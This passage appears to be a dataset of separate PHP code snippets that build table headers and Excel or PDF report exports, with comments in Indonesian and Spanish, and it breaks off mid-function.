$this->CheckPageBreak($h);\n //Draw the cells of the row\n for ($i = 0; $i < count($data); $i++) {\n $w = $this->widths[$i];\n $a = isset($this->aligns[$i]) ? $this->aligns[$i] : 'L';\n //Save the current position\n $x = $this->GetX();\n $y = $this->GetY();\n //Draw the border\n $this->Rect($x, $y, $w, $h);\n //Print the text\n $this->SetFont('Arial', 'B', 7);\n $this->SetFillColor(203, 203, 203);\n $this->MultiCell($w, 5, $data[$i], 1, $a, true);\n //Put the position to the right of the cell\n $this->SetXY($x + $w, $y);\n }\n //Go to the next line\n $this->Ln($h);\n }", "function _webform_csv_headers_file($component) {\r\n $header = array();\r\n // Two columns in header.\r\n $header[0] = array('', '');\r\n $header[1] = array($component['name'], '');\r\n $header[2] = array(t('Name'), t('Filesize (KB)'));\r\n return $header;\r\n}", "public function mombo_main_headings_color() {\n \n \n }", "public function export()\n\t{\n\t\tinclude APPPATH . 'third_party/PHPExcel/PHPExcel.php';\n\n\t\t// Panggil class PHPExcel nya\n\t\t$excel = new PHPExcel();\n\n\t\t// Settingan awal fil excel\n\t\t$excel->getProperties()->setCreator('PT Pelindo')\n\t\t\t->setLastModifiedBy('PT Pelindo')\n\t\t\t->setTitle(\"Rekap Rapor Akhlak\")\n\t\t\t->setSubject(\"Rekap Rapor Akhlak\")\n\t\t\t->setDescription(\"Rekap Rapor Akhlak\")\n\t\t\t->setKeywords(\"Rekap Rapor Akhlak\");\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n\t\t$style_col = array(\n\t\t\t'font' => array('bold' => true), // Set font nya jadi bold\n\t\t\t'alignment' => array(\n\t\t\t\t'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n\t\t$style_row = array(\n\t\t\t'alignment' => array(\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A1', \"Rekap Rapor Akhlak\"); // Set kolom A1 dengan tulisan \"Rekap Rapor Akhlak\"\n\t\t$excel->getActiveSheet()->mergeCells('A1:J1'); // Set Merge Cell pada kolom A1 sampai E1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n\n\t\t// Buat header tabel nya pada baris ke 3\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A3', \"NO\"); // Set kolom A3 dengan tulisan \"NO\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('B3', \"NAMA CABANG\"); // Set kolom B3 dengan tulisan \"NIS\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('C3', \"NILAI AMANAH\"); // Set kolom C3 dengan tulisan \"NAMA\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('D3', \"NILAI KOMPETEN\"); // Set kolom D3 dengan tulisan \"JENIS KELAMIN\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('E3', \"NILAI HARMONIS\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('F3', \"NILAI LOYAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('G3', \"NILAI ADAPTIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('H3', \"NILAI KOLABORATIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('I3', \"NILAI TOTAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('J3', \"TANGGAL UPLOAD\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\n\t\t// Apply style header yang telah kita buat tadi ke masing-masing kolom header\n\t\t$excel->getActiveSheet()->getStyle('A3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('B3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('C3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('D3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('E3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('F3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('G3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('H3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('I3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('J3')->applyFromArray($style_col);\n\n\t\t// Panggil function view yang ada di SiswaModel untuk menampilkan semua data siswanya\n\t\t$siswa = $this->RaporModel->view();\n\n\t\t$no = 1; // Untuk penomoran tabel, di awal set dengan 1\n\t\t$numrow = 4; // Set baris pertama untuk isi tabel adalah baris ke 4\n\t\tforeach ($siswa as $data) { // Lakukan looping pada variabel siswa\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('A' . $numrow, $no);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('B' . $numrow, $data->cabang);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('C' . $numrow, $data->nilai_amanah . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('D' . $numrow, $data->nilai_kompeten . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('E' . $numrow, $data->nilai_harmonis . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('F' . $numrow, $data->nilai_loyal . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('G' . $numrow, $data->nilai_adaptif . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('H' . $numrow, $data->nilai_kolab . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('I' . $numrow, $data->nilai_total . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('J' . $numrow, $data->created_at);\n\n\t\t\t// Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n\t\t\t$excel->getActiveSheet()->getStyle('A' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('B' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('C' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('D' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('E' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('F' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('G' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('H' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('I' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('J' . $numrow)->applyFromArray($style_row);\n\n\t\t\t$no++; // Tambah 1 setiap kali looping\n\t\t\t$numrow++; // Tambah 1 setiap kali looping\n\t\t}\n\n\t\t// Set width kolom\n\t\t$excel->getActiveSheet()->getColumnDimension('A')->setWidth(2); // Set width kolom A\n\t\t$excel->getActiveSheet()->getColumnDimension('B')->setWidth(14); // Set width kolom B\n\t\t$excel->getActiveSheet()->getColumnDimension('C')->setWidth(14); // Set width kolom C\n\t\t$excel->getActiveSheet()->getColumnDimension('D')->setWidth(16); // Set width kolom D\n\t\t$excel->getActiveSheet()->getColumnDimension('E')->setWidth(16); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('F')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('G')->setWidth(14); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('H')->setWidth(19); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('I')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('J')->setWidth(19); // Set width kolom E\n\n\t\t// Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n\t\t$excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n\t\t// Set orientasi kertas jadi LANDSCAPE\n\t\t$excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n\t\t// Set judul file excel nya\n\t\t$excel->getActiveSheet(0)->setTitle(\"Rekap Rapor Akhlak\");\n\t\t$excel->setActiveSheetIndex(0);\n\n\t\t// Proses file excel\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment; filename=\"Rekap Rapor Akhlak.xlsx\"'); // Set nama file excel nya\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n\t\t$write->save('php://output');\n\t}", "static function generateTableHeaderHTML()\n\t{\n\t\techo \"<tr class='exTableRow'>\\n\";\n\t\techo \"<th class='exTableColLineNum'>Item #</th>\\n\";\n\t\techo \"<th class='exTableColDesc'>Description of Work</th>\\n\";\n\t\techo \"<th class='exTableColAmount'>Amount</th>\\n\";\n\t\techo \"</tr>\\n\";\n\t}", "public function createExcelReport(\\PhpOffice\\PhpSpreadsheet\\Spreadsheet $spreadSheet){\n\t\t$wsResumen = new \\PhpOffice\\PhpSpreadsheet\\Worksheet\\Worksheet($spreadSheet, 'Resumen');\n\t\t$wsDatos = new \\PhpOffice\\PhpSpreadsheet\\Worksheet\\Worksheet($spreadSheet, 'Datos');\n\t\t//2. Escribe los datos sobre las hojas de cáculo\n\t\t//2.1. Escribe lo datos de la primera hoja\n\t\t//2.1.1. Inconsistencias por tipo\n\t\t$wsResumen->setCellValue(\"A3\",\"Inconsistencias por tipo\");\n\t\t$wsResumen->setCellValue(\"A4\",\"Desfase horario\");\n\t\t$wsResumen->setCellValue(\"A5\",\"Programación no coincide\");\n\t\t$wsResumen->setCellValue(\"A6\",\"Otros\");\n\t\t$wsResumen->setCellValue(\"A7\",\"Total\");\n\t\t//2.1.2. Inconsistencias por motivo\n\t\t$wsResumen->setCellValue(\"A9\",\"Inconsistencias por motivo\");\n\t\t$wsResumen->setCellValue(\"A10\",\"Origen\");\n\t\t$wsResumen->setCellValue(\"A11\",\"Error humano\");\n\t\t$wsResumen->setCellValue(\"A12\",\"Evento en vivo\");\n\t\t$wsResumen->setCellValue(\"A13\",\"Total\");\n\t\t//2.1.3. Inconsistencias por programadora\n\t\t$wsResumen->setCellValue(\"A15\",\"Inconsistencias por casa programadora\");\n\n\t\t//2.2. Escribe lo datos de la segunda hoja\n\t\t$wsDatos->setCellValue(\"A1\",\"Fecha-Hora Reporte\");\n\t\t$wsDatos->setCellValue(\"B1\",\"Fecha-Hora Evento\");\n\t\t$wsDatos->setCellValue(\"C1\",\"ID Evento\");\n\t\t$wsDatos->setCellValue(\"D1\",\"Título Evento\");\n\t\t$wsDatos->setCellValue(\"E1\",\"ID Canal\");\n\t\t$wsDatos->setCellValue(\"F1\",\"Nombre Canal\");\n\t\t$wsDatos->setCellValue(\"G1\",\"Casa Programadora\");\n\t\t$wsDatos->setCellValue(\"H1\",\"Tipo Error\");\n\t\t$wsDatos->setCellValue(\"I1\",\"Motivo Error\");\n\t\t$wsDatos->setCellValue(\"J1\",\"Desafase\");\n\t\t$wsDatos->setCellValue(\"K1\",\"Transmitiendo\");\n\t\t$wsDatos->setCellValue(\"L1\",\"Usuario\");\n\n\t\t$totals = $this->calculateTotals();\n\t\t$wsResumen = $this->setResumenPage($wsResumen,$totals);\n\t\t$wsDatos = $this->setDataPage($wsDatos);\t\t\n\t\t//Vincula las hojas al documento\n\t\t$spreadSheet->addSheet($wsResumen, 0);\n\t\t$spreadSheet->addSheet($wsDatos, 1);\n\t\treturn $spreadSheet;\n\n\n\t}", "public function headings(): array\n {\n return [\n '#ID',\n 'APELLIDO',\n 'NOMBRE',\n 'EMAIL',\n 'ROLE',\n 'PERMISOS ADICIONALES',\n 'FECHA DE CREACIÓN',\n ];\n }", "function Header()\n\t{\n\t\t$this->SetFont('Arial','',12);\n\t\t$this->MultiCell(190,5,nombre_empresa(),'0','C');\n\t\t$this->SetFont('Arial','',10);\n\t\t$this->MultiCell(190,5,tipo_serv(),'0','C');\n\t\t$this->SetFont('Arial','B',10);\n\t\t$this->SetTextColor(0,0,0);\n\t\t$this->MultiCell(190,7,strtoupper(_('listado de clientes para cortes')),'0','C');\n\t\t$this->SetFont('Arial','B',8);\n\t\t$this->SetX(133);\n\t\t$this->Cell(12,5,strtoupper(_('fecha')).': ',0,0,'L');\n\t\t$this->SetFont('Arial','',8);\n\t\t$this->Cell(18,5,date(\"d/m/Y\"),0,0,'L');\n\t\t$this->SetFont('Arial','B',8);\n\t\t$this->Cell(12,5,strtoupper(_('hora')).': ',0,0,'L');\n\t\t$this->SetFont('Arial','',8);\n\t\t$this->Cell(18,5,date(\"h:i:s A\"),0,0,'L');\n\t\t$this->Ln();\t\t\n\t}", "public static function excelActionsAndStrategiesHeadings()\n {\n return [\n 'Strategies and Actions',\n 'Status',\n 'Responsibility',\n 'Industry',\n ];\n }", "public function export(){\n include APPPATH.'third_party/PHPExcel/Classes/PHPExcel.php';\n \n // Panggil class PHPExcel nya\n $excel = new PHPExcel();\n\n // Settingan awal fil excel\n $excel->getProperties()->setCreator('My Notes Code')\n ->setLastModifiedBy('My Notes Code')\n ->setTitle(\"Data Buku\")\n ->setSubject(\"tb_buku\")\n ->setDescription(\"Laporan Semua Data Buku\")\n ->setKeywords(\"Data Buku\");\n\n // Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n $style_col = array(\n 'font' => array('bold' => true), // Set font nya jadi bold\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n // Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n $style_row = array(\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n $excel->setActiveSheetIndex(0)->setCellValue('A1', \"RELASI INTI MEDIA ( FAMILIA, ISTANA MEDIA, QUDSI MEDIA DAN FORUM )\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A2', \"Jl. Permadi Nyutran RT/RW. 61/19 MJ II No. 1606 C, Wirogunan, Mergangsan, Yogyakarta 55151\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A3', \"Email: relasidistribusi@gmail.com Telp: (0274) 2870300\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A5', \"DATA BUKU\");\n $excel->getActiveSheet()->mergeCells('A1:N1'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A2:N2'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A3:N3'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A5:N5'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A5')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n $excel->getActiveSheet()->getStyle('A5')->getFont()->setSize(15);\n $excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A3')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A5')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n\n // Buat header tabel nya pada baris ke 3\n $excel->setActiveSheetIndex(0)->setCellValue('A7', \"NO\"); // Set kolom A3 dengan tulisan \"NO\"\n $excel->setActiveSheetIndex(0)->setCellValue('B7', \"KODE BUKU\"); // Set kolom A3 dengan tulisan \"NO\"\n $excel->setActiveSheetIndex(0)->setCellValue('C7', \"JUDUL\"); // Set kolom B3 dengan tulisan \"NIS\"\n $excel->setActiveSheetIndex(0)->setCellValue('D7', \"KATEGORI\"); // Set kolom C3 dengan tulisan \"NAMA\"\n $excel->setActiveSheetIndex(0)->setCellValue('E7', \"PENULIS\"); // Set kolom D3 dengan tulisan \"JENIS KELAMIN\"\n $excel->setActiveSheetIndex(0)->setCellValue('F7', \"PENERBIT\");\n $excel->setActiveSheetIndex(0)->setCellValue('G7', \"UKURAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('H7', \"JUMLAH HALAMAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('I7', \"ISBN\");\n $excel->setActiveSheetIndex(0)->setCellValue('J7', \"TAHUN TERBIT\");\n $excel->setActiveSheetIndex(0)->setCellValue('K7', \"HARGA (Rp)\");\n $excel->setActiveSheetIndex(0)->setCellValue('L7', \"STOK\");\n $excel->setActiveSheetIndex(0)->setCellValue('M7', \"KETERANGAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('N7', \"STATUS\");\n\n // Apply style header yang telah kita buat tadi ke masing-masing kolom header\n $excel->getActiveSheet()->getStyle('A7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('B7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('C7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('D7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('E7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('F7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('G7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('H7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('I7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('J7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('K7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('L7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('M7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('N7')->applyFromArray($style_col);\n\n\n // Panggil function view yang ada di SiswaModel untuk menampilkan semua data siswanya\n $buku = $this->buku_model->showAllBuku();\n\n $no = 1; // Untuk penomoran tabel, di awal set dengan 1\n $numrow = 8; // Set baris pertama untuk isi tabel adalah baris ke 4\n foreach($buku as $data){ // Lakukan looping pada variabel siswa\n $excel->setActiveSheetIndex(0)->setCellValue('A'.$numrow, $no);\n $excel->setActiveSheetIndex(0)->setCellValue('B'.$numrow, $data->kd_buku);\n $excel->setActiveSheetIndex(0)->setCellValue('C'.$numrow, $data->judul);\n $excel->setActiveSheetIndex(0)->setCellValue('D'.$numrow, $data->nama_kategori);\n $excel->setActiveSheetIndex(0)->setCellValue('E'.$numrow, $data->nama_penulis);\n $excel->setActiveSheetIndex(0)->setCellValue('F'.$numrow, $data->nama_penerbit);\n $excel->setActiveSheetIndex(0)->setCellValue('G'.$numrow, $data->ukuran);\n $excel->setActiveSheetIndex(0)->setCellValue('H'.$numrow, $data->jml_halaman);\n $excel->setActiveSheetIndex(0)->setCellValue('I'.$numrow, $data->isbn);\n $excel->setActiveSheetIndex(0)->setCellValue('J'.$numrow, $data->thn_terbit);\n $excel->setActiveSheetIndex(0)->setCellValue('K'.$numrow, $data->harga);\n $excel->setActiveSheetIndex(0)->setCellValue('L'.$numrow, $data->stok);\n $excel->setActiveSheetIndex(0)->setCellValue('M'.$numrow, $data->keterangan);\n $excel->setActiveSheetIndex(0)->setCellValue('N'.$numrow, $data->status);\n \n // Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n $excel->getActiveSheet()->getStyle('A'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('B'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('C'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('D'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('E'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('F'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('G'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('H'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('I'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('J'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('K'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('L'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('M'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('N'.$numrow)->applyFromArray($style_row);\n \n $no++; // Tambah 1 setiap kali looping\n $numrow++; // Tambah 1 setiap kali looping\n }\n\n // Set width kolom\n $excel->getActiveSheet()->getColumnDimension('A')->setWidth(5); // Set width kolom A\n $excel->getActiveSheet()->getColumnDimension('B')->setWidth(13); // Set width kolom B\n $excel->getActiveSheet()->getColumnDimension('C')->setWidth(60); // Set width kolom C\n $excel->getActiveSheet()->getColumnDimension('D')->setWidth(25); // Set width kolom D\n $excel->getActiveSheet()->getColumnDimension('E')->setWidth(40); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('F')->setWidth(15); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('G')->setWidth(13); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('H')->setWidth(20); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('I')->setWidth(20); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('J')->setWidth(15); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('K')->setWidth(18); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('L')->setWidth(10); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('M')->setWidth(40); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('N')->setWidth(15); // Set width kolom E\n \n // Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n $excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n // Set orientasi kertas jadi LANDSCAPE\n $excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n // Set judul file excel nya\n $excel->getActiveSheet(0)->setTitle(\"Laporan Data Buku\");\n $excel->setActiveSheetIndex(0);\n\n // Proses file excel\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"Data Buku.xlsx\"'); // Set nama file excel nya\n header('Cache-Control: max-age=0');\n\n $write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n $write->save('php://output');\n }", "function Header() {\n $this->SetFont('Helvetica', 'B', 18);\n //Judul dalam bingkai\n $this->Cell(0, 5, 'Daftar Hasil Seleksi Calon Siswa Baru', 0, 1, 'C');\n $this->SetFont('Helvetica', 'B', 16);\n $this->Cell(0, 15, 'Sekolah Dasar', 0, 0, 'C');\n //Ganti baris\n $this->Ln(20);\n }", "public function headings(): array\n\t{\n\t\treturn [\n\t\t\t\t'No',\n\t\t\t\t'Title',\n\t\t\t\t'Price',\n\t\t\t\t'Category',\n\t\t\t\t'Type',\n\t\t\t\t'Post By',\n\t\t\t\t'Province',\n\t\t\t\t'District',\n\t\t\t\t'Commune',\n\t\t\t\t'views',\n\t\t\t\t'Status'\n\t\t];\n }", "abstract protected function getRowsHeader(): array;", "public function pi_list_header() {}", "function _webform_csv_headers_email($component) {\r\n $header = array();\r\n $header[0] = '';\r\n $header[1] = '';\r\n $header[2] = $component['name'];\r\n return $header;\r\n}", "public static function excelPlansAndProjectsHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Region',\n 'Industry',\n ];\n }", "function export_nik_unins_lunas()\n\t{\n\t\t$excel_id=$this->uri->segment(3);\n\t\t$datas = $this->model_transaction->get_lunas_gagal($excel_id);\n\t\t\n\t\t// Create new PHPExcel object\n\t\t$objPHPExcel = $this->phpexcel;\n\t\t// Set document properties\n\t\t$objPHPExcel->getProperties()->setCreator(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setLastModifiedBy(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setTitle(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setSubject(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setDescription(\"REPORT, generated using PHP classes.\")\n\t\t\t\t\t\t\t\t\t ->setKeywords(\"REPORT\")\n\t\t\t\t\t\t\t\t\t ->setCategory(\"Test result file\");\n\t\t\t\t\t\t\t\t\t \n\t\t$objPHPExcel->setActiveSheetIndex(0); \n\t\t\n\t\t/*\n\t\t| BORDER OPTION\n\t\t*/\n\t\t$styleArray['borders']['outline']['style']=PHPExcel_Style_Border::BORDER_THIN;\n\t\t$styleArray['borders']['outline']['color']['rgb']='000000';\n\t\t/*\n\t\t| SET COLUMN WIDTH\n\t\t*/\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(15);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\n\t\t/*\n\t\t| ROW HEADER TITLE\n\t\t*/\n\t\t$row=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"List Pelunasan Tidak Sesuai\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true);\n\t\t\n\t\t$row+=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"NIK\");\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,\"Nama\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setBold(true);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':A'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('B'.$row.':B'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t$row+=1;\n\t\t/*\n\t\t| ROW 